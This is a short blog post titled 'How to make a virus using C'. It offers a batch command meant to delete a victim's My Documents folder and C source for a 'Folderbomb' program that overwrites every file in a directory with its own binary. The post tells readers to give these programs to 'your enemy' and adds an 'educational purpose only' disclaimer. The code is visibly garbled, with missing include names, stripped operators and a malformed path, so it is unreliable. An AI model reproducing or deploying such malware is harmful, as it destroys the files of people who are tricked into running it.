How to make a virus using C




VIRUS CODE-1
It deletes the "My Documents" folder of your enemy.
Here's what you should do.

  • Open Notepad and Copy - Paste the following code in.it.
  • Then Save the file with whatever name you like with bat file extention. For example: virus.bat.
  • Now it you give this to someone and it he runs this program then his My Document folder will be deleted.

Code Is Below
rmdir C:\Documents and Settings \S\Q.
Run this on your own responsibility*/

VIRUS CODE-2


/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ……
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}



Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only. 
0 Comments
Disqus
Fb Comments
Comments :

0 comments:

Post a Comment